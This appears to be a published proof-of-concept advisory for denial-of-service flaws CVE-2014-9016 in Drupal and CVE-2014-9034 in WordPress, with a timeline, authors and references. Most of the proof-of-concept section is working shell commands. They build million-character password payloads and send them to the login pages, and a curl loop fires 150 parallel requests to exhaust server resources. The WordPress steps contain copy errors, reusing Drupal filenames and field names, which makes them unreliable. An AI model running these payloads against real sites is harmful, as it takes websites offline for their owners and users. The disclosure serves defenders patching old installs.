Drupal / WordPress Memory Exhaustion

                							

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DESCRIPTION:
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A vulnerability present in Wordpress < 4.0.1 and Drupal < 7.34 allows an
attacker to send specially crafted requests resulting in CPU and memory
exhaustion. This may lead to the site becoming unavailable or
unresponsive (denial of service).

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Time Line:
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November 19, 2014 - A Drupal security update and the security advisory
is published.

November 20, 2014 - A Wordpress security update and the security
advisory is published.

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Proof of Concept:
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Drupal Denial of Service CVE-2014-9016
Generate a pyaload and try with a non-valid user:

$ echo -n "name=NO-VALID-USER&pass=" > no_valid_user_payload && printf "%s" {1..1000000} >> no_valid_user_payload && echo -n "&op=Log in&form_id=user_login" >> no_valid_user_payload

$ time curl --data @no_valid_user_payload http://yoursite/drupal/?q=user --silent > /dev/null &

Generate a pyaload and try with a valid user:

$ echo -n "name=admin&pass=" > valid_user_payload && printf "%s" {1..1000000} >> valid_user_payload && echo -n "&op=Log in&form_id=user_login" >> valid_user_payload

$ time curl --data @valid_user_payload http://yoursite/drupal/?q=user --silent > /dev/null &

Perform a Dos with a valid user:

$ for i in `seq 1 150`; do (curl --data @valid_user_payload http://yoursite/drupal/?q=user --silent > /dev/null &); sleep 0.25; done
Wordpress Denial of Service CVE-2014-9034
Generate a pyaload and try with a non-valid user:

$ echo -n "log=NO-VALID-USER&pwd=" > payload && printf "%s" {1..1000000} >> payload && echo -n "&wp-submit=Log In" >> payload

$ time curl --data @no_valid_user_payload http://yoursite/wordpress/wp-login.php --silent > /dev/null &

Generate a pyaload and try with a valid user:

$ echo -n "name=admin&pass=" > valid_user_payload && printf "%s" {1..1000000} >> valid_user_payload && echo -n "&op=Log in&form_id=user_login" >> valid_user_payload

$ time curl --data @valid_user_payload http://yoursite/wordpress/wp-login.php --silent > /dev/null &

Perform a Dos with a valid user:

$ for i in `seq 1 150`; do (curl --data @valid_user_payload http://yoursite/wordpress/wp-login.php  --silent > /dev/null &); sleep 0.25; done


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Authors:
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-- Javer Nieto -- http://www.behindthefirewalls.com
-- Andres Rojas -- http://www.devconsole.info

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References:
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* https://wordpress.org/news/2014/11/wordpress-4-0-1/

* https://www.drupal.org/SA-CORE-2014-006

*
http://www.behindthefirewalls.com/2014/11/wordpress-denial-of-service-responsible-disclosure.html

*
http://www.behindthefirewalls.com/2014/11/drupal-denial-of-service-responsible-disclosure.html

* http://www.devconsole.info/?p=1050

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